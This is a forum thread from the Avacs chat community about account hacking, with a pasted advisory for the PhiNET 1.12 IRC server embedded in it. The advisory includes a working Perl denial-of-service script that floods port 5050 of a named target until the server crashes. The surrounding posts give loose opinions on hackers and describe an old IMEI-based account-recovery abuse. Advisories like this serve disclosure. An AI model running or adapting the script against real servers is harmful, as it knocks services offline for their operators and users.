admin
may want to add a form field on the telephone number or email when
users first register in order to complicate hackers in an attempt to
break user's identity in avacs.
because
of hackers breaking into an account in their efforts require a wide
range of characters, when added to this will be difficult for them to
tap into a server system which has protected the firewall and also the
directory should open a random phone number or an email from a random
user.
sorry
not meant to teach or be clever, but this is to our common security in
the chat, hope all can understand what I am talking now.

Solution: No solution was available at the time of this entry.


SAMPLE :

Vendor URL: www.zahadum.freeserve.co.uk/ (Links to External Site)


Cause: Exception handling error


Underlying OS: Windows (Me), Windows (NT), Windows (95), Windows (98), Windows (2000)


Reported By: neme-dhc@hushmail.com


Message History: None


[ Advisory for PhiNET ]
[ PhiNET is mady by Phiber ]
[ Site: http://www.zahadum.freeserve.co.uk ]
[ by nemesystm of the DHC ]
[ (http://dhcorp.cjb.net - neme-dhc@hushmail.com) ]
[ ADV-0123 ]

/-|=[explanation]=|-
PhiNET is a IRC server. It can be crashed causing a
denial of service attack.

/-|=[who is vulnerable]=|-
PhiNET 1.12
has been tested and was vulnerable. Prior versions
are assumed to be vulnerable as well.

/-|=[testing it]=|-
Making about 150 connections to port 5050 causes the
program to display "Software caused connection to
abort" on the screen and then goes on to crash
eventually.

I have made a perl script that exploits this. It is
at the bottom of this advisory.

/-|=[fix]=|-
None known at the moment.

#!/usr/bin/perl


# PHI.PL - Crashes PhiNet 1.12
# Written by nemesystm of the DHC
# http://dhcorp.cjb.net - neme-dhc@hushmail.com


####
use Socket;

die "$0 - Crashes PhiNet 1.12
written by nemesystm of the DHC
http://dhcorp.cjb.net - neme-dhc@hushmail.com
usage: perl $0 target.com
" if !defined $ARGV[0];

use Socket;

for ($count = 0; $count <= 200; $count++) {
$serverIP = inet_aton($ARGV[0]);
$serverAddr = sockaddr_in(5050, $serverIP);
socket(CLIENT, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect (CLIENT, $serverAddr)) {
send (CLIENT, "A",0);
close (CLIENT);
} else { die "Can't connect: $count
"; }


print "Done.
";

w w

Hi Ak bro. About firewall and attack to servers, it is very easy for any perfessional hacker. Mean if he/she want hack any Nick or Pasword,he can attack to servers, databases and Admin tables, all of big hackers know SQL injection,LINUX language and Firewall programming at low and in 1st theyr step,so even firewall cant stop theyr attack. But i didnt saw any perfessional or big hacker in Avacs yet, because all of them just hacking important,goverment,financial or informative sites for stealing security infos or stealing large money. So they will never spend theyr times just for stealing Nicks or few purse in avax. Just new and small hackers and crackers doing it for making fun or for annoying users or theyr other small target.

Hi guys. none users didnt saw this topic after my post? or it hadn't any reply,advise,suggestion?

nice:o

Hmmm don't know much about it

actuly members dont have info about it thats why they did not reply it..

but i'm a member too!

hacking not possible in avacs

Yes now it's very hard, but i saw it few times, special in old times, any amateur hacker was can hack ids and rooms, i saw it with my eyes, in 2008 year. Hacking and hackers there are always, there isnt any site or software 100% Anti-hack. Professional hackers can hack any site that they want. But chat sofwares haven't large profit for them,for hacking it,so they will never come in avacs anytime.

There is no any hacking in avacs but users mostly put other's email in profile thats why they lose Accounts

Before , some users could found your IMEI by your phone number... So they restored user's accounts by this way (having ID Number and IMEI) Dr.vahid told admin about this. now for restoring , u must have the phone which ID made by it.It means you can't take user's acount with this way (sorry, my english is not good. Maybe u don't understand me)